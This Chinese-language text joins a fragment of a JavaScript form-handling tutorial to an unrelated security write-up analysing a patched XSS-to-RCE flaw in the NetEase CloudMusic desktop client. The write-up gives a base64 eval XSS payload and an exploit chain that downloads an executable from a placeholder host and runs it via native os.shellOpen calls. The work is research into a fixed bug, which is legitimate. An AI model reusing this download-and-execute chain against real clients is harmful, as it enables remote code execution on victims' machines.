          	//radios[0].checked='checked'
          	for(var i=0; i<radios.length; i++){
          	    console.log(radios[i].checked + '---' + radios[i].value)
          	}
          </script>
          

          獲取多選按鈕

          ? 操作方式與單選同理,不同之處在于可以多選

          var ufav=document.getElementsByName("ufav");
          var favstr="";
              for (i=0;i < ufav.length; i++){
                  if(ufav[i].checked){
                      favstr +=ufav[i].value+",";
                  }
              }
          favstr=favstr.substr(0,favstr.length-1);
          

          獲取下拉選項

          ? (1)獲取 select 對象:

          var ufrom=document.getElementById("ufrom");
          

          ? (2)獲取選中項的索引:

          var idx=ufrom.selectedIndex;
          

          ? (3)獲取選中項 options 的 value屬性值:

          var val=ufrom.options[idx].value;
          

          ? 注意:當通過options獲取選中項的value屬性值時,

          ? 若沒有value屬性,則取option標簽的內容

          ? 若存在value屬性,則取value屬性的值

          ? (4)獲取選中項 options 的 text:

          var txt=ufrom.options[idx].text;
          

          ? 選中狀態設定:selected=‘selected’、selected=true、selected

          ? 未選中狀態設定:不設selected屬性

          <body onload="init()">
          	<form id='myform' name="myform" action="" method="">		
          		來自:
          		<select id="ufrom" name="ufrom">
          			<option value="-1" >請選擇</option>
          			<option value="0" selected="selected">北京</option>
          			<option value="1">上海</option>
          		</select><br />
          		<button type="button" id="sub" name="sub">提交</button>
          	</form>
          </body>
          <script>
          	function init () {
          		var sub=document.getElementById("sub");
          		sub.onclick=function () {
          			//獲取select對象
          			var ufrom=document.getElementById("ufrom");
          			console.log("表單對象:" + ufrom);
          			//獲取選中的索引
          			var idx=ufrom.selectedIndex;
          			console.log("選中項的索引值:" + idx);
          			//獲取選中項的value值
          			var val=ufrom.options[idx].value;
          			console.log("選中項的value屬性值:" + val);
          			//獲取選中項的text
          			var txt=ufrom.options[idx].text;
          			console.log("選中項的text:" + txt);
          		}
          	}
          </script>
          

          提交表單

          ? (1)使用普通button按鈕+onclick事件+事件中編寫代碼:

          	獲取表單.submit();
          
          (2)使用submit按鈕 + onclick="return 函數()" +函數編寫代碼: 
          

          ? 最后必須返回:return true|false;

          (3)使用submit按鈕/圖片提交按鈕 + 表單onsubmit="return 函數();" +函數編寫代碼: 
          

          ? 最后必須返回:return true|false;

          <form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">	
          	<input  name="test"  id="uname"/><span id="msg"></span><br />
          	<!--通過js事件:sub()提交表單-->
          	<input type="button" onclick="sub();" value="提交表單1" />
          	<input type="submit" onclick="return sub2();" value="提交表單2" />
          	<input type="submit" value="提交onsubmit" /><br />
          	<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg" 
                            width="60px" height="40px" />
          </form>
          <script type="text/javascript">		
          	// input的type=button,調用submit()方法提交
          	function sub(){
          		document.myform2.submit();
          	}
          	// 進行校驗,返回值為true才能提交
          	function sub2(){
          		var uname=document.getElementById("uname");
          		var val=uname.value;
          		if(val.length>0){
          			return true; // 提交
          		}
          		document.getElementById("msg").innerHTML="不能空著啊!!!";
          		document.getElementById("msg").style.color="red";
          		return false;  // 不提交
          	}
          	// onsubmit事件提交
          	function onsub () {
          		var uname=document.getElementById("uname");
          		var val=uname.value;
          		if(val.length>0){
          			return true; // 提交
          		}
          		document.getElementById("msg").innerHTML="填寫點兒東西唄!(ˉ▽ ̄~) 切~~";
          		document.getElementById("msg").style.color="red";
          		return false; // 不提交
          	}
          </script>
          

          表單校驗


          Author: Wfox@360RedTeam

          0x00 前言

          前面章節講解了應用程序是如何與網頁進行交互的,接下來章節分析通用軟件歷史漏洞,通過真實漏洞案例分析去了解嵌入式瀏覽器安全的攻擊面。本章節講的是網易云音樂rce漏洞分析,一個經典的XSS to RCE漏洞。

          往期文章回顧: 1. 《嵌入式瀏覽器安全之初識Cef》

          0x01 Cef資源文件加載

          cef瀏覽器中加載web網頁訪問通常分為兩種,分別是遠程資源加載、本地資源加載。

          遠程資源加載,通過http、https等協議加載網頁,通常在軟件里作為擴展功能,可延展性強,缺點是頁面加載速度受網絡環境影響。 本地資源加載,通過file協議實現加載web頁面,也是cef桌面應用的主要實現方式。本地加載uri實現方式分為三種:

          1. 絕對文件路徑加載 file:///c:/application/index.html
          2. 偽host加載 file://application/index.html
          3. 偽協議&偽host加載 custom://application/index.html

          第2、3種方式是通過cef資源重定向實現的,在使用cef加載本地web資源時,html或者js文件很可能會暴露一些接口或者重要數據,為了代碼保護需要把web資源進行加密,常見方式是通過zip進行密碼加密。解密也比較簡單,逆向主程序文件找到解壓密碼或者zip明文攻擊就能解壓加密的資源文件。

          具體的實現原理這里不再復述,感興趣的可以閱讀這篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278

          漏洞挖掘的第一步,先打開網易云音樂的目錄,可以看到明顯的Cef目錄架構,比如說子目錄、依賴庫特征等。

          在package目錄中,找到了網易云音樂的資源文件包orpheus.ntpk,以zip格式解壓得到網易云音樂html資源文件。

          解壓之后目錄結構如下,包含了html、js、css文件等,正是這些構成了網易云音樂的整個前端界面。

          當網易云音樂主程序打開時就會加載鏈接 orpheus://orpheus/pub/app.html,經過cef資源重定向處理后,加載orpheus.ntpk壓縮包的/pub/app.html,也就是我們最為熟悉的主界面。

          通過進程查看軟件Process Hacker查看cloudmusic.exe進程,可以看到cloudmusic.exe主進程下面起了兩個子進程。

          這兩個進程分別是render進程與GPU加速進程,GPU加速進程用于加速頁面渲染,在網易云音樂的設置里可以禁用GPU加速。

          // cef render進程
          "D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
          ?
          // cef gpu加速渲染進程
          "D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411

          在漏洞挖掘過程中可以關注下cef進程的啟動參數,指不定有些好玩的啟動參數,后邊章節再講這方面。

          0x02 尋找突破點

          在拿到源碼文件之后,能做的事情很多,感興趣的可以自行從html、js里邊發掘。這次的目的是為了給客戶端彈個計算器,所以首先要達到一個目標,執行任意JavaScript,先從一個xss漏洞開始。

          接下來就是常規的Web前端漏洞挖掘思路,在發掘過程中可以將html、js進行格式化,方便閱讀代碼。

          原漏洞作者的思路是從html模板文件找到未過濾的模板變量,從而控制輸出點達到xss。但在實際挖掘中,大部分html輸出點都是不可控的,原作者找到的xss觸發點在電臺頁面/pub/module/main/djradio/show/index.html的電臺名稱字段。

          漏洞點修復前是${x.name},修復之后加上了escape進行編碼過濾。

          我們需要添加一個名稱帶有xss payload的電臺,受害者通過搜索電臺名稱,在訪問電臺頁時即可觸發xss。

          原漏洞作者提到了通過外置瀏覽器跳轉到偽協議鏈接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,從而喚起網易云音樂,但經過實際分析測試,只能喚起應用但不能跳到對應搜索頁面。

          那外置瀏覽器是如何調用網易云音樂偽協議,通過注冊表可以查看windows系統中注冊的所有偽協議,比如網易云音樂orpheus協議在注冊表的地址為 HKEY_CLASSES_ROOT\orpheus\shell\open\command,鍵值為 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作為變量對應的是完整的偽協議url,最終創建進程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”

          目前電臺頁面處無法復現漏洞,所以搬了原作者的xss效果圖。

          0x03 進階攻擊

          小目標達到了,接下來就是如何將xss漏洞的危害擴大,這里就要用到第一節講到的知識點,應用程序會在render進程上下文中注冊許多JavaScript擴展函數,用于應用程序與網頁進行交互。

          舉個例子,緩存歌曲、緩存突破、下載歌曲、下載歌詞文件這些功能都需要涉及文件操作,但網頁由于安全策略限制是無法直接保存文件的,所以需要通過JavaScript調用native function來實現文件操作。

          當然應用程序注冊的JavaScript擴展函數不止這些,接下來進階攻擊就是尋找脆弱的JS擴展函數進行復用,以達到竊取數據、劫持登錄憑證、讀取任意文件、甚至控制對方計算機權限的目的。

          現在復測沒有xss漏洞可以用,那我們就假裝有一個xss,通過攔截網易云音樂的請求修改響應,插入我們的JavaScript代碼。此時祭出大殺器BurpSuite,通過網易云音樂自帶的HTTP代理功能設置成127.0.0.1:8080

          代理設置成功后,BurpSuite就能抓到網易云音樂的請求。這里用漏洞版本2.1.2.180086作為演示,前面提到過網易云音樂有很多html輸出點都沒過濾的,但是內容是不可控的。在舊版本網易云音樂中,可以通過BurpSuite攔截修改api請求的明文響應包插入xss payload,觸發XSS。(新版本中api請求響應都加密了)

          比如說在搜索歌詞時,響應部分的lyrics字段會作為html內容插入到頁面中,可以替換這部分的響應內容插入xss內容。

          添加自動替換響應包規則,省得每次都要攔截修改響應。

          隨便搜一個查詢條數少的關鍵詞,切到歌詞的搜索結果,加載替換響應內容后成功觸發XSS。

          通常cef程序很少會留有可以直接系統命令的擴展函數,所以常見的rce思路是下載可執行文件+運行文件以達到rce的效果。接下來就是通讀代碼,尋找任意保存文件的擴展函數。

          網易云音樂的主要功能邏輯在core.js文件,第一步先將混淆的JavaScript代碼美化,提高代碼可讀性,在代碼量居多的情況下可以搜索相關關鍵詞以定位函數,如save、保存、download、下載等,通過關鍵詞定位找到一處可疑的功能代碼。

          根據代碼上下文邏輯,構造出文件下載保存的JavaScript代碼。

          var byz=NEJ.P;
          bD=byz("nej.cef");
          bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });

          JavaScript代碼太長在xss里格式不好處理,所以將xss代碼base64執行。

          <img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>

          插入XSS代碼觸發,可以將任意遠程文件保存到本地任意位置。poc觸發成功后將百度logo圖片保存到c:/users/public/1.png

          當然在實際場景中可能會遇到長度限制,這里只是把payload寫在一起作為演示,正常利用建議還是引用遠程JS文件。

          exe文件已經落地到文件系統中了,接下來就是如何觸發下載后的exe文件。通讀代碼可以發現,網易云音樂基本是通過bD.cFB、bD.bX調用native函數,可以圍繞著這些函數調用進行發掘,然后復用函數方法。

          通過技巧找到了打開exe文件的方法,這個函數原意應該是用來打開文件夾的,文件/pub/module/main/offline/complete/index.html

          根據代碼上下文邏輯,構造出打開指定exe文件的JavaScript代碼。

          var byz=NEJ.P;
          bD=byz("nej.cef");
          bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");

          文件下載、打開exe文件都具備了,接下來構造完整漏洞利用代碼。

          var byz=NEJ.P;
          bD=byz("nej.cef");
          bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
          setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);

          完整利用流程:插入xss payload -> 誘導別人觸發xss -> 下載保存exe文件 -> 打開執行exe文件

          在網易云音樂最新版本中不僅修復了xss漏洞、增加CSP安全策略,還修復了文件下載、打開文件等涉及文件操作的許多函數,使攻擊成本加大,熟悉逆向的可以分析下判斷邏輯是否能夠繞過。

          0x04 結語

          本章節涉及了cef資源加載、目錄結構分析、進程啟動分析、scheme協議注冊、XSS漏洞挖掘、native交互漏洞挖掘等知識點,完成一個XSS to RCE漏洞的挖掘才能算是真正的入門。當Web安全人員去真正發掘這方面漏洞時,會發現嵌入式瀏覽器漏洞挖掘也沒那么難以觸及,主要是通讀代碼跟復現代碼邏輯會比較耗時間,感興趣的朋友可以嘗試下挖掘通用點的桌面應用~

          0x05 參考

          漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278


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